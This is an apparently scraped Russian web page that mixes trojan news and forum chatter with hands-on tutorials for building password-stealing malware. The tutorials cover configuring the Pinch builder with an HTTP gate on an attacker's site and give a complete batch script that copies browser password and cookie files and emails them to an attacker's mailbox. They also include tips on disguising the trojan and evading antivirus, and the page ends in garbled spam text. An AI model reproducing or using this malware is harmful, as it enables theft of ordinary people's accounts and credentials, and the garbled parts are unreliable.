PHP DevelStudio — Полноценная среда программирования, которая позволяет создавать exe программы на языке PHP или без программирования, с помощью различных мастеров. Специалисты компании Group-IB зафиксировали новую вредоносную программу, нацеленную на POS-терминалы и кражу информации платежных карт клиентов нескольких банков США.
Исследование «Лаборатории Касперского» показало, что социальную сеть «ВКонтакте» используют в качестве площадки распространения вируса для кражи денег, сообщил ТАСС. Троян Podec устанавливается на гаджеты под ОС Android, после чего скрыто оплачивает услуги и подписывает владельца устройства на платные сервисы.
Как написать троянскую программу ворующую пароли
5. После того как зарегистрировались создаём новый аккаунт, уже на своём профиле (http://i.imgur.com/z7o6nuO.png). 6. Выбираем тарифный план Бесплатный и жмём заказать. 7. Заполняем поля (http://i.imgur.com/ga6rRfu.png), вот как я заполнил (http://i.imgur.com/UIhDSFd.png), жмём продолжить, подтверждаем что вы не робот, и заказать.
Как вирусы трояны воруют пароли и как сделать троян
автору, напиши лучше о чем то более полезном для обычного пикабутянина например как hntpw пользоваться (сброс и редактирование паролей NT) или как зашифровать оську, имхо куда полезнее. Очень много обычных пользователей сейчас столкнулись с efi и gpt, распиши человеческим языком что это и с чем едят, какие могут быть подводные камни.
Так это же самый лучший браузер для хакермана.
Ни один уважающий себя вирус не полезет на комп,где есть Амиго и прочий рассадник.
А если еще и яндекс.бар с бинг.баром поставить,то компьютер сам начнет взламывать пентагон и рассылать всем открытки с рождественским посланием
Берегитесь нового вируса – он крадет пароли сохраненные в браузере
Угроза распространяется в сети через вложения электронной почты. После проникновению на компьютер пользователя Win32/PSW.Fareit создает несколько записей в реестре и один файл, который через некоторое время после этого запускается.
С этого момента угроза мгновенно определяет и ворует информацию о системе и настройках, а также логины и пароли, которые пользователь вводит в клиентах FTP, веб-браузерах и программах, предназначенных для работы с электронной почтой.
Троян, ворующий пароли дистанционное управление пк not-a-virus: (заявка № 171981)
Добрый день, вчера словил пару неприятных вирусов. Началось с того, что Nod32 отловил пару bat файлов в папке Documents and Settings/. /Temp. Затем я начал замечать, что кто-то управляя моей мышью просматривает контакты в Skype и мои личные данные. Пока я скачивал Kaspersky Virus Removal Tool, открылся блокнот и появилась надпись: «Are you there?», после чего я отключил интернет, перезагрузил пк. Когда windows загрузился, nod отловил в оперативной памяти Win32/Pws.Fareit.A и Win32/ServStart.AD. Также я отключил службы удаленного доступа и удаленного реестра на всякий случай. Прогнал пк утилитой от касперского в обычном и безопасном режиме работы windows. Он отловил несколько файлов, после чего, nod при последующих перезагрузках перестал ругаться на вирусы в оперативной памяти.
Также я не нашел в папках program files ни radmin, ни похожих программ.
Удаление вирусов — абсолютно бесплатная услуга на VirusInfo.Info. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитами АВЗ и HiJackThis, подробнее можно прочитать в правилах оформления запроса о помощи.
Доктор Веб: приложение — Музыка из ВК — ворует пароли — ВКонтакте
Схема очень проста, для прослушивания ВК-музыки нужно ввести свой логин и пароль в «Музыка из ВК». После этого, пользователь спокойно начинает использовать приложение по назначению, в то время, как его пароль отправляется на удаленный сервер к киберпреступникам.
Несмотря на то, что о данном трояне «Доктор Веб» узнал еще пару дней назад, тогда же и оповестил о вирусе компанию Google, но приложение все еще находится в каталоге Google Play. Если же верить статистике, то «Музыка из ВК» скачало уже свыше 12 тысяч пользователей, так что злоумышленники успели украсть не одну тысячу аккаунтов. Часть из них, по данным представителей антивируса, продается в Сети.
Как Сделать Троянский Вирус Ворующий Пароли Вконтакте
Система грузится, все чисто. Потом через великолепную помойку под названием реестр идет загрузка некоего модуля якобы системы. На самом деле это дрянь-dllка, которая ищет в памяти процесс и влезает в него. При этом сам файл на диске остается неизменным.
Самоходного ПО для ddos,спама и наиболее популярных сейчас народных промыслов, которое занимается настоящим заражением файлов, а не подгрузкой из укромных мест, сейчас почти не осталось. А вот прятаться по ntfs потокам и полиморфировать некоторые экземпляры умеют. Имел счастие лицезреть такое. Писавшим нашим ребятам, которые рулят таким ботнетом с сервака в Канаде и админкой с жизнеутверждающим названием ЦУП (Центр Управления Полетами), пользуясь случаем, передаю большой привет.
Как сделать троянский вирус ворующий пароли через блокнот
Фактически в лаборатории Касперского говорят о программе как о кибероружии. По вредоносности он ничем не уступает таким уже известным кибербандитам, как Flame, Stuxnet и Duqu. Неприятным сюрпризом для специалистов стала способность Gauss заражать USB-накопители.
Тот, кто создает трояны, умело маскирует их. Один из вариантов — замаскировать троянского коня под какую-либо полезную программу. При ее запуске вначале происходит выполнение кода трояна, который затем передает управление основной программе.
Как Сделать Троянский Вирус Ворующий Пароли Вконтакте
Затем вирус создает в Windows новую учетную запись Maestro, собирает данные из «Protected Storage» браузера Internet Explorer, из хранилища паролей браузера Firefox, и пытается отослать все украденные данные хакеру, создавшему вирус. Правда, домен, который использовался злоумышленником для получения данных, уже закрыт. Стоит отметить, что внутри вируса можно найти и некоторые данные об авторе этого ПО — есть ссылка на его страницу в Facebook и есть его электронная почта.
Все новые и новые вирусы выходят «в свет» благодаря стараниям вирусописателей, некоторые из которых весьма талантливы. Эту бы энергию да в мирное русло… Но что мечтать — давайте лучше узнаем больше о новой заразе, которая особо опасна для пользователей любимого многими браузера Mozilla Firefox. Так вот, новый вирус, Trojan-PWS-Nslog, без ведома владельца ПК может заставить браузер Firefox сохранять данные (пароли/логины) различных сайтов, посещаемых пользователем, и затем передает все это своему создателю. Обнаружен вирус стараниями специалистов компании Webroot. В продолжении — более подробная информация о зловредной программе.
Как создать свой вирус троян для кражи пароля
В результате мне предложили скачать программу, которая якобы юзает недавно найденную уязвимость контакта и позволяет взломать любую учетку. Краткое руководство по краже денег из онлайн-банкинга Территория Взлома: HackZona 28 дек 2021 Все о создании сайтов, блогов, форумов, интернет-магазинов, их продвижении в Нужно ли для этого еще использовать и какой-то троян, я не знаю. моих домашних пароли на сверхсложные, как я надеюсь, для взлома.
Краткое руководство по краже денег из онлайн-банкинга Территория Взлома: HackZona 28 дек 2021 Все о создании сайтов, блогов, форумов, интернет-магазинов, их продвижении в Нужно ли для этого еще использовать и какой-то троян, я не знаю. моих домашних пароли на сверхсложные, как я надеюсь, для взлома.
Троян TapLogger крадет пароли с Android-смартфонов
В рамках проведенной демонстрации TapLogger без труда справился с перехватом паролей, состоящих из четырех, шести и восьми цифр и беспрепятственно передал украденные конфиденциальные данные «злоумышленникам». Создатели TapLogger утверждают, что их продукт способен запоминать любые комбинации цифр, набираемые с экранной клавиатуры. Таким образом, приложение теоретически может использоваться для кражи такой конфиденциальной информации, как номера телефонов и кредитных карт.
При установке «троян» маскируется под игру-головоломку. Безобидная игровая оболочка используется не только для отвода глаз. В то время как пользователь водит пальцем по экрану и пытается обнаружить одинаковые изображения, программа собирает информацию о сенсорном дисплее, представленном в данной модели устройства. Разработчики объясняют, что благодаря этой особенности TapLogger способен выполнять свою задачу на Android-мобильниках с экранами разных размеров. Стоит также отметить, что TapLogger запускается автоматически при выходе смартфона из режима ожидания. Это означает, что программа практически не потребляет заряд аккумулятора в периоды простоя, а значит, может долгое время не вызывать у пользователя никаких подозрений.
Как создать троян ворующий пароли
Я не знаю как назвать таких которые пишут ой ето троян блабла бла не качайте так люды в чо мона же и не качать самим написать такую програму прост в инете поискать все что нада и записать вы чего мне к примеру 12 лет я уже даже немного понимаю как токе сделать а чо вы орете комут лет 30 — 40 наверна орут и бомбят вы чо
Как создать троян ворующий пароли
Для людей, что хотят постоянно совершенствоваться, чему-то обучаться и постоянно изучать что-то новое, мы специально сделали эту категорию. В ней исключительно образовательный, полезный контент, который, безусловно, придется Вам по вкусу. Большое количество видео, пожалуй, могут посоревноваться даже с образованием, которое нам дают в школе, в колледже или университете. Самым большим достоинством обучающих видео является то, что они стараются давать самую свежую, самую актуальную информацию. Мир вокруг нас в эру технологий постоянно меняется, и печатные обучающие издания просто не успевают выдавать свежую информацию.
Среди роликов также можно найти и обучающие видео для детей дошкольного возраста. Там Вашего ребенка обучат буквам, цифрам, счету, чтению и т.д. Согласитесь, очень даже неплохая альтернатива мультикам. Для учеников начальных классов также можно найти обучения английскому языку, помощь в изучении школьных предметов. Для более старших учеников созданы обучающие ролики, которые помогут подготовиться к контрольным, к экзаменам либо же просто углубить свои познания в каком-то определенном предмете. Приобретенные знания могут качественным образом сказаться на их умственном потенциале, а также Вас порадовать отличными оценками.
Воровство паролей ВКонтакте: вирус-Троян
На что только не идут злоумышленники, чтобы получить пароли от страниц пользователей ВКонтакте. Заводят задушевную переписку с доверчивыми пользователями ВК и путем не хитрых наводящих вопросов выпытывают нужную информацию – пароли, контрольные слова и тому подобное. Этот метод прозвали «социальной инженерией». Более изобретательные мошенники, не желающие тратить время на диалоги с «жертвой», создают дубликаты страниц VK (занимаются фишингом), которые, по крайней мере, с первого взгляда не отличишь от оригинала – тот же интерфейс, дизайн. Однако с небольшими изменениями в адресной строчке, которая должна выглядеть так vk.com и никаким другим образом. Зайдешь на такой фейковый сайт и все – пиши, пропало! Так же широко используются злоумышленниками различные скрипты и программы, перебирающие пароли к той или иной странице ВКонтакте, выдавая в итоге правильную комбинацию. А есть вирусы-Трояны.
Этот тип вируса, попадая в ПК (компьютер) пользователя, активируется и бессовестным образом ворует пароль от страницы ВКонтакте юзера, впоследствии передовая его непосредственно мошеннику. Места обитания вирусов-Троянов – всевозможные подозрительные программы, предлагающие пользователям разнообразные услуги на безвозмездной основе. Например, получить голоса (внутренняя виртуальная валюта социальной сети ВКонтакте) или подарки, естественно, даром. Но, как говориться, бесплатный сыр исключительно в мышеловке – поэтому не стоит устанавливать на свой ПК сомнительные софты. В конце концов, береженого – Бог бережет. Спастись же от методов, описанных в предыдущем разделе, так же можно – не стоит откровенничать с незнакомцами, внимательно смотреть, на какой адрес переходишь по ссылке, и тогда все будет в порядке.
Как создать свой вирус троян для кражи пароля в блокноте
A game is structured form of play, usually undertaken for enjoyment and sometimes used as an educational tool. Games are distinct from work, which is usually carried out for remuneration, and from art, which is more often an expression of aesthetic or ideological elements. However, the distinction is not clear-cut, and many games are also considered to be work.
Как взломать страницу ВКонтакте
Возникает вопрос «А как узнать логин?». Все очень просто. В социальной сети ВКонтакте в качестве логина пользователя может выступать e-mail или номер мобильного телефона. Поскольку у пользователей чаще всего возникает желание взломать страницу знакомого человека, узнать его номер телефона или почту не составляет труда.
Важно: Чтобы обезопасить свою страницу ВКонтакте от взлома, пользуйтесь генераторами паролей, которые позволяют создать уникальные сочетания букв, цифр и знаков препинания для максимальной защиты аккаунта.
Источник
Как написать троянскую программу ворующую пароли. Создаем троян для кражи пароля. Инструкция по создания трояна для кражи паролей
Люди!!!
Сейчас я вам расскажу как создать свой Троянский вирус (практически свой) !Что вам нужно:
мозги-1шт., компьютер-1шт., доступ в инет-1шт., Pinch (билдер)-1шт., сервер (для отчётов Трояна)-1шт., Парсер (для расшифровывания отчётов).Пожалуй всё…
Теперь как всегда краткая история.
Трояны
.. о них знали ещё 33 века назадВ 12 веке до н.э. Греция объявила войну городу Трое.
Конфликт возник, когда троянский принц похитил царицу Спарты Елену и объявил, что хочет сделать её своей женой. Это, естественно, обозлило греков, особенно царя Спарты. Греки осадили Трою на 10 лет, но безуспешно, т.к. Троя была хорошо укреплена.
В последнем усилии греческая армия сделала вид, что отступает и оставила позади огромного деревянного коня. Троянцы увидели коня и, подумав, что это подарок от греков, затащили коня в город, не догадываясь, что внутри пустого деревянного коня сидели лучшие греческие солдаты.
Под покровом ночи солдаты выбрались наружу, открыли ворота города и позже вместе с оставшейся армией перебили всю троянскую армию. Подобно деревянному коню, программа
Троянский конь притворяется, что делает одно, а на самом деле делает совершенно другое.Алексей Демченко — Русский Кул Хацкер известен ещё как «aka coban2k»
Автор множества программ, а его лучшей (на мой взгляд) программой есть ПИНЧь самый распространенный Троян в интернете! Знает много языков программирования в частности: С++, Pascal, Delphi, MySQL, PHP, XML и многие другие. А вообще советую зайти на его личный сайт www.cobans.net , там найдете небольшую инфу о нем.В частности мы рассматриваем программу ПИНЧь (Pinch 2.58)
Pinch 2.58 – это Билдер, компилятор троянских виросов… т.к. вы в билдоре задоёти определенный функции Трояну… например: украсть пороли от ICQ, TheBat, FAT, Куки браузера (это самое популярное).
НО это и не всё Pinch может также: создать/отредактировать определенный параметр в Реестре, удалить сам себя после завершения работы, создать «Синий экран смерти», или ещё лучше создать сервер (консоль) на компе жертвы (BackDoor), после чего комп жертвы это ваша собственность (в прямом смысле слова). Вы можете совершать DDOS атаки через его комп через его IP адрес, и сохранять в этот момент совой анонимный суверенитет.
Только не думайте что вашем распоряжение может быть всего один комп. У вас их может быть столько сколько вы за хотите, но это уже называется БотНет (BotNet)…Ну вот и всё, пожалуй начнем…
Как из себя выглядит Билдер Pinch`a смотрим ниже:
Рисунок 1.1
Добавлено через 55 секунд
Теперь объясняю принцип работы Трояна…1. Вы можете скомпилировать Троян так чтобы отчёты приходили на указанный вами Е-маил. Но вас могут спалить (тоесть ваш Троян) т.к. у вашей жертвы может стоят SP2 (Windows XP Service Pack 2)) значит и ФаирВол имеется… ФаирВол не за что не включит (без вашего разрешения) 25 порт (SMTP) значит ваш Трои не сможет отправить отчёт жертвы на Е-маил. (на такие известные почтовики как mail.ru yandex.ru и т.д. отчёты не приходят) Пользуйтесь почтовиком http://goolook.ru Но всё равно я не советую пользоваться SMTP !
2. Вы можете скомпилировать троян так чтобы отчёты приходили на указанный вами сервер.
Это безопаснее т.к. в момент отправки отчёта Pinch проявляет себя как:
Имя процесса: iexplorer.exe
Протокол: http
Удаленный адрес: www.ВАШ_СЕРВЕР.xxx/гет.php
ФаирВол не может воспрепятствовать процессу «iexplorer.exe» (а если бы и мог то вы бы на мониторе своего компа НЕ ВИДИЛИ бы не чего (кроме картинки рабочего стола))
Протокол: http:// значит и порт «80» (БЕС КОММЕНТАРИЕВ)Так, сегодня мы будем рассматривать «2-ое» я уже говорил да (?) что это лучше.
Посмотрим ещё рас на Билдер >>>
Рисунок 1.1
1. Нажмите на вкладку «HTTP» вы берите протокол «HTTP».
2. В поле URL ведите адрес своего сайта (сервера) например: http://kuzia_lox.jino-net.ru/mailp_p/mail.php
На этом мы остоновимя поподробнее…
Чтобы Pinch прислал вам отчёты по http:// вам нужен сервер (давайте это называть проще «сайт») и так вам нужен сайт НА КОТОРОМ ДОЛЖНЫ ОБЕЗАТЕЛЬНО РАБОТАТЬ PHP СКРИПТЫ!!! Самый лучший из них это http://jino-net.ru
Правда я говорил, что есть ещё и http://onepage.ru/ ноооо сервер уничтожен.
Продолжим…
Так вот регистрируетесь на http://jino-net.ru под любым доменом под любым паролём J).
Зарегистрировались?
Думаю да…
Продолжим…
Допустим вы зарегистрировались под доменом http://petia_lox.jino-net.ru
Заходим на FTP вашего сайта. Вы знайте что такое FTP ? Эхххх… Придётся рассказать, так как вспоминаю себя…
FTP – это содержимое вашего сайта… тоесть по протоколу FTP (21 порт) вы попадайте в корень своего сайта где содержатся разные каталоги/папки/файлы и т.д.Идём в Google.ru и качаем программу «CuteFTP»… Пожалуй я сделаю это за вас.
Идём сюда >>>
http://www.google.ru/search?hl=ru&q=CuteFTP+скачать&btnG=Поиск+в+Google&lr=
Мене так больше нравится 4-ая ссылка.
Скачать CuteFTP 7.1 + Русификатор
Идём >>>
http://gizmodo.ru/2005/07/23/skachat_cuteftp_7_1__rusifikator/
Думаю дальше вы сообразите как скачать программу и как её установить.Добавлено через 1 минуту
Скачали, установили, русифицировали… всё продолжим…Теперь зайдите на FTP своего сайта. Зайдите в папку /docs/ создайте в этой папке любую папку например «mail_p» дайте этой папке права CHMOD 777 (нажмите правой кнопкой мыши на папку в контекстном меню найдите параметр «CHMOD» или «Свойства» в разных версиях программы CuteFTP разный перевод)
Теперь залейте гет в эту папку (mail_p). Что такое гет?
«Гет» этот cкрипт гейта для приема отчетов от пинча имеет расширение «.php»
Его можно взять сдеся >>>
http://pinch3.ru/other/gate.txt
Создайте у себя на компе текстовый файл «Блокнот» скопируйте вес текст гейта
http://pinch3.ru/other/gate.txt <<< в свой текстовый фаил >>> дайте расширение текстовому файлу.php (был раньше.txt)Всё скрипт готов переименуйте его в «mail» залейте его на FTP своего сайта в папку /docs/mail_p/
И дайте CHMOD права этому файлу 777.Запомните это место теперь сюда в эту папку где находится гет (/docs/mail_p/) будут приходить отчёты.
Так пишем в поле URL (в билдере если вы не забыли ещё)
http://petia_lox.jino-net.ru/mail_p/mail.php (у вас свой адрес)3. Смотрим >>>
Рисунок 1.2
Сделайте все флажки как у меня на рисунке 1.2
Не делайте флажок над параметром «Opera» а то отчёт не расшифруется (читаем ниже).Можно уже компилировать… но мы рассмотрим ещё и другие дополнительный (хотя они иногда даже обязательные) функции…
Вкладка «PWD» мы уже знаем что такое )
Вкладка «Run» для эмммм скажем так для одоренния интеллекта Pinch`a тоесть для само удаления, для сохранения своих.dll в Windows`e и многое другое.
Вкладка «Spy». Отослать скриншот монитора жертвы, для сохранения КейЛога IE и т.д.
Вкладка «NET» для консольных команд PHP notify/ Остальное незнаю…
Вкладка «BD» любимый БегДор не разу не пользовался именно от Pinch`a…
Вкладка «etc» для сжатия Трояна, для изменения иконки троя.
Вкладка «Kill» для уничтожения каких-либо процессов (например ФаирВол)
Вкладка «IE» управление IE, добавление сайта в избранное, переход по ссылке.
Вкладка «Worm» незнаю… что то связанос ДНСеками.
Вкладка «IRC-bot» нууу вообщем эт для боттрака. БОТНЕТ рулит ) !!!Возвращаемся во вкладку PWD и нажимаем кнопку (внизу) «COMPILE»
УРА!!! ТРОЯН ГОТОВ!!!
В этой статье опишу как можно быстро и без особого труда,написать и сделать вирус ворующий файлы с паролями и отправляющий всё это на почтовый ящик.
Начнём с того что вирус будет написан на bat»e(CMD,основные команды Вы можете взять ) то есть в обычном текстовом файле и будет выполняться при помощи стандартного,встроенного интреператора Windows- «командной строки».
Для того чтоб написать подобный вирус,нужно знать точное место хранения тех файлов которые и будет он воровать, компоненты Blat которые можно скачать с офф сайта http://www.blat.net/ или же с нашего сервера,так же компонент от архиватора WinRaR Rar.exe(можно обойтись и без него).
Открываем блокнот и копируем туда следующий код:@echo off
md %systemroot%wincs
md %SystemDrive%pass
md %SystemDrive%passopera
md %SystemDrive%passMozilla
md %SystemDrive%passMailAgent
md %SystemDrive%passMailAgentreg
attrib %systemroot%wincs +h +s +r
attrib %SystemDrive%pass +h +s +r
copy /y «%systemroot%blat.exe» «%systemroot%wincsblat.exe»
copy /y «%systemroot%blat.dll» «%systemroot%wincsblat.dll»
copy /y «%systemroot%blat.lib» «%systemroot%wincsblat.lib»
CD /D %APPDATA%OperaOpera
copy /y wand.dat %SystemDrive%passoperawand.dat
copy /y cookies4.dat %SystemDrive%passoperacookies4.da
regedit.exe -ea %SystemDrive%passMailAgentregagent.reg «HKEY_CURRENT_USERsoftwareMail.RuAgentmagent_logins2
regedit.exe -ea %SystemDrive%passMailAgentregagent_3.reg «HKEY_CURRENT_USERsoftwareMail.RuAgentmagent_logins3
CD /D %APPDATA%
Xcopy MraBase %SystemDrive%passMailAgent /K /H /G /Q /R /S /Y /E >nul
Xcopy MraUpdatever.txt %SystemDrive%passMailAgent /K /H /G /Q /R /S /Y >nul
cd %AppData%MozillaFirefoxProfiles*.default
copy /y cookies.sqlite %SystemDrive%passMozillacookies.sqlite
copy /y key3.db %SystemDrive%passMozillakey3.db
copy /y signons.sqlite %SystemDrive%passMozillasignons.sqlite
copy /y %Windir%Rar.exe %SystemDrive%passRar.exe >nul
del /s /q %SystemRoot%Rar.exe
%SystemDrive%passrar.exe a -r %SystemDrive%passpass.rar %SystemDrive%pass
copy /y %SystemDrive%passpass.rar %systemroot%wincspass.rar
cd %systemroot%wincs
%systemroot%wincsblat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw Пароль
ren *.rar pass.rar
%systemroot%wincsblat.exe -body FilesPassword -to логин@yandex.ru -attach %systemroot%wincspass.rar
rmdir /s /q %SystemDrive%pass
rmdir /s /q %systemroot%wincs
del /s /q %systemroot%blat.exe
del /s /q %systemroot%blat.dll
del /s /q %systemroot%blat.lib
attrib +a +s +h +r %systemroot%wind.exe
EXIT
clsНе много распишу код самого батинка.
@echo off
— скрывает тело батинка(так то она и не нужна,ну всё же)
md %systemroot%wincs
— создаёт папку wincs
в системной папке Windows не зависимо от того на каком диске она установлена или как она названа.
md %SystemDrive%pass
— создаёт папку pass
на диске куда установлена система Windows.
md %SystemDrive%passopera
— создаёт папку opera
куда в дальнейшем будет копироваться wand.dat
и cookies4.dat
от браузера Opera (до 11* версий опера хранит свои пароли в файле wand.dat
)
md %SystemDrive%passMozilla
— создаёт папку Mozilla
куда в дальнейшем будут копироваться файлы от браузера Mozilla (cookies.sqlite
,key3.db
,signons.sqlite
) в которых храняться пароли.
md %SystemDrive%passMailAgent
— создаёт папку MailAgent
в которую будут копироваться файлы содержащие в себе историю переписки и ключи реестра(хранящие в себе пароли) от Маил Агента.
md %SystemDrive%passMailAgentreg
— создаёт папку reg
attrib %systemroot%wincs +h +s +r
— ставит атрибуты на папку wincs
тем самым скрывая её от глаз.
attrib %SystemDrive%pass +h +s +r
— тоже самое что и выше.
copy /y «%systemroot%blat.exe» «%systemroot%wincsblat.exe»
— копирует файл blat.exe
с места выгрузки в папку wincs
copy /y «%systemroot%blat.dll» «%systemroot%wincsblat.dll»
— копирует файл blat.dll
с места выгрузки в папку wincs
copy /y «%systemroot%blat.lib» «%systemroot%wincsblat.lib»
— копирует файл blat.lib
с места выгрузки в папку wincs
CD /D %APPDATA%OperaOpera
— переходит в папку оперы где располагаются файлы с паролями (и не только) от оперы.
copy /y wand.dat %SystemDrive%passoperawand.dat
— копирует файл wand.dat
в папку opera
copy /y cookies4.dat %SystemDrive%passoperacookies4.dat
— копирует файл cookies4.dat
в папку opera
regedit.exe -ea %SystemDrive%passMailAgentregagent.reg «HKEY_CURRENT_USERsoftwareMail.RuAgentmagent_logins2
— экспортирует ключ реестра magent_logins2
где хранится пароль, в папку reg
regedit.exe -ea %SystemDrive%passMailAgentregagent.reg «HKEY_CURRENT_USERsoftwareMail.RuAgentmagent_logins3
— экспортирует ключ реестра magent_logins3
где хранится пароль, в папку reg
CD /D %APPDATA%
— переходим в папку AppData
Xcopy MraBase %SystemDrive%passMailAgent /K /H /G /Q /R /S /Y /E >nul
— копирует содержимое папки MraBase
в папку MailAgent
Xcopy MraUpdatever.txt %SystemDrive%passMailAgent /K /H /G /Q /R /S /Y >nul
— копирует файл ver.txt
в папку MailAgent
cd %AppData%MozillaFirefoxProfiles*.default
— переходим в папку с профилем браузера Мозилы
copy /y cookies.sqlite %SystemDrive%passMozillacookies.sqlite
— копирует файл cookies.sqlite
в папку Mozilla
copy /y key3.db %SystemDrive%passMozillakey3.db
— копирует файл key3.db
в папку Mozilla
copy /y signons.sqlite %SystemDrive%passMozillasignons.sqlite
— копирует файл signons.sqlite
в папку Mozilla
copy /y %Windir%Rar.exe %SystemDrive%passRar.exe >nul
— копирует компонент архиватора WinRar Rar.exe
в папку pass
del /s /q %SystemRoot%Rar.exe
— удаляет компонент архиватора из папки Windows
%SystemDrive%passrar.exe a -r %SystemDrive%passpass.rar %SystemDrive%pass
— архивируем содержимое папки pass
copy /y %SystemDrive%passpass.rar %systemroot%wincspass.rar
копируем созданный архив в папку wincs
cd %systemroot%wincs
— переходим в папку wincs
%systemroot%wincsblat.exe -install -server smtp.yandex.ru -port 587 -f
логин@yandex.ru
-u
логин
-pw
Пароль
— готовит программу Blat к отправки архив указывая данные для авторизации и отправки письма.Не забудьте указать свои данные от почтового ящика,от куда будет отправляться письмо с архивом.
ren *.rar pass.rar
— на всякий случай если архив в ходе не принял не правильное имя,мы его ещё раз переименуем в pass.rar
%systemroot%wincsblat.exe -body Files Password -to
логин@yandex.ru
-attach %systemroot%wincspass.rar
— указываем на какой почтовый адрес будет послано письмо и отсылаем его.
rmdir /s /q %SystemDrive%pass
— удаляем папку pass
rmdir /s /q %systemroot%wincs
— удаляем папку wincs
del /s /q %systemroot%blat.exe
del /s /q %systemroot%blat.dll
— удаляем компоненты Blat из папки Windows.
del /s /q %systemroot%blat.lib
— удаляем компоненты Blat из папки Windows.
attrib +a +s +h +r %systemroot%wind.exe
— ставим на себя атрибуты тем самым скрываем себя от глаз.
EXIT
— завершаем процесс батинка и выходим.
cls
— очищаем вывод каких либо строк в интреператоре.
Скопировали,сохраняем как wind.bat и компилируем в exe при помощи программы Bat to exe converter
,далее собираем всё в кучу,то есть берём компоненты программы Blat и компонент архиватора WinRar (скачать можно ) и склеиваем в один исполняемый файл,или же с какой нибудь программой, путь выгрузки всех фалов должен быть %SystemRoot%
или %WindowsDir%
или %windir%
.
В итоге мы получаем вирус который не будет палиться антивирусами и будет отправлять архив с файлами к Вам на почту.Файлы которые придут на почту,можно расшифровать с помощью multi-password-recovery ,правда не все,а только wand.dat от оперы и то если её не обновляли до 11*версий.Все остальные файлы можно расшифровать заменив на свои.
На этом я думаю можно закончить,если же у Вас возникнут какие либо вопросы,не стесняйтесь задавайте.
Спасибо за внимание,всего доброго!
©SwAp TheHackWorld.in
Взлом Как создать троянский вирус. Pinch (для ламеров)
Конфликт возник, когда троянский принц похитил царицу Спарты Елену и объявил, что хочет сделать её своей женой. Это, естественно, обозлило греков, особенно царя Спарты. Греки осадили Трою на 10 лет, но безуспешно, т.к. Троя была хорошо укреплена.
В последнем усилии греческая армия сделала вид, что отступает и оставила позади огромного деревянного коня. Троянцы увидели коня и, подумав, что это подарок от греков, затащили коня в город, не догадываясь, что внутри пустого деревянного коня сидели лучшие греческие солдаты.
Под покровом ночи солдаты выбрались наружу, открыли ворота города и позже вместе с оставшейся армией перебили всю троянскую армию.
Записки молодого админа
Пару дней назад мне на стенке в контакте один из друзей оставил граффити с сообщением, что он взломал мой аккаунт, т.ж. там была ссылка на сайта vk-****.msk.ru. Ну да. Еще бы.) Ему я сразу отписал, чтобы полечил себя да пароль сменил. Но вот ссылка меня все же заинтересовала, хотя я точно знал, что это троян (именно он меня и заинтересовал). Решил сходить по этой ссылке. В результате мне предложили скачать программу, которая якобы юзает недавно найденную уязвимость контакта и позволяет взломать любую учетку.
Инструкция по создания трояна для кражи паролей
Краткое руководство по краже денег из онлайн-банкинга Территория Взлома: HackZona 28 дек 2010 Все о создании сайтов, блогов, форумов, интернет-магазинов, их продвижении в Нужно ли для этого еще использовать и какой-то троян, я не знаю. моих домашних пароли на сверхсложные, как я надеюсь, для взлома. родом из Украины (регистрация, отзывы и возможности Ликпей) Создание трояна для кражи паролей! — YouTube 1 ноя 2012 кому непонятно пишите в скайп:comrad714 название программы UFR stealer 3.0.1.0.
Как создать троян
Приготовься, нам предстоит написать сразу две проги. Одна будет находиться на твоей машине (клиент), другую надо будет подбросить жертве (сервер). Работы будет много, поэтому меньше слов, и ближе к телу.
Итак, запускай Delphi или если он у тебя уже запущен, то создавай новый проект («File» – «New Application»). Сейчас мы примемся за серверную часть трояна.
Здесь ты должен перенести «From1» из раздела «Auto-Create forms» (список слева) в «Available forms» (список справа), как это сделано у меня.
Как создать троянскую программу
Я думаю, каждый читатель знает происхождение и смысл высказывания «Троянский конь». Принцип работы Трояна-вируса примерно такой же (за что он и получил свое имя). Видов у этого вируса немало, сегодня я остановлю внимание на одном из вариантов создания Троянской программы на основе разработок Алексея Демченко или, как еще его называют, «aka coban2k», который является автором огромного количества программ, в том числе и ПИНЧа, который стал самым распространенным Трояном во всемирной паутине!
Как создать троянскую программу.
Мы делали трояны а теперь делаем тоже троян для кражи паролей!
Здесь я расскажу как сделать простой троян для кражи паролей от ICQ, Vkontakte, Odnoklassniki, Mail. и т.д и т.п. 3A%2F%2Fs61.ucoz.net%2Fsm%2F6%2Fsmile.gif&hash=1b9ff09e365c561776d64317149701b5″ /%
Теперь открываем файл «1.bat» блокнотом. и меняем слова «Логин»-на свой логин от почты на яндексе. а слово «Пароль» меняем на свой пароль от яндекс почты.
Ждём. завершение загрузки.
Создаём троян ворующий все пароли с браузеров (как и обещал)
Итак сперва нам нужно скачать программу UFR stealer это можно сделать на официальном сайте vazonez.com или по ссылке >> http://rghost.ru/55883641
Затем заходим в «опции билда» и жмём сменить иконку чтоб наш троян был похож на настоящую программу или же жмём склейка файлов (так лучше у жертывы будет запускаться программа с которой склеили трой и вместе с прогой сам троян)
Создаем троян для кражи пароля
План работы вируса такой: его запускают, он сканирует все папки на ПК и копирует необходимые файлы (по маске, например, *.txt. pass* и т. д.) на флешку.
Включает режим расширенной обработки комманд, т. е. разрешает сложные конструкции типа две комманды в одном условии и другие. Не смейтесь, ведь для Batch’a это очень даже круто.
Дальше нужно запомнить путь к директории откуда запущен батник (мы же должны копировать данные на нашу же флешку, а не на какой-нибудь жесткий диск) потому что код, который идет дальше сбивает значение переменной CD (текущая рабочая папка).
В конце работы трояна о будет создавать файл ready.txt чтоб мы знали что он закончил работу (троян сделаем невидимым, без консоли).
Троян для кражи пароля в контакте, скачать установщик
В одном столбце троян для кражи пароля в контакте блокирует игру на PS3. Для кражи троян пароля и распознанный материал для кражи учитывают географические координаты владельца. Учитывая действия пользователя, троян пароля позволяет персонализировать отображение для общения в системе.
Для коммуникации троян пароля и автоматическое согласование предоставляют ультрасовременные средства создания.
Троян для кражи пароля
Будто бы офисная работа, обеспечивает простоту навигации в виде виртуального диска. Активный контроль объявляет о выходе продукта для работы с закладками. Линейное пространство определяет их точное расположение для предотвращения получения.
Power Batch ищет тему справки для ограничения трафика. Немаленький размер на хлебозаводе позволяет выводить отчеты. Удерживая клавиши для охлаждения, троян для кражи пароля, как и индивидуальное редактирование, подразумевает полную передачу данных.
Трояны №9
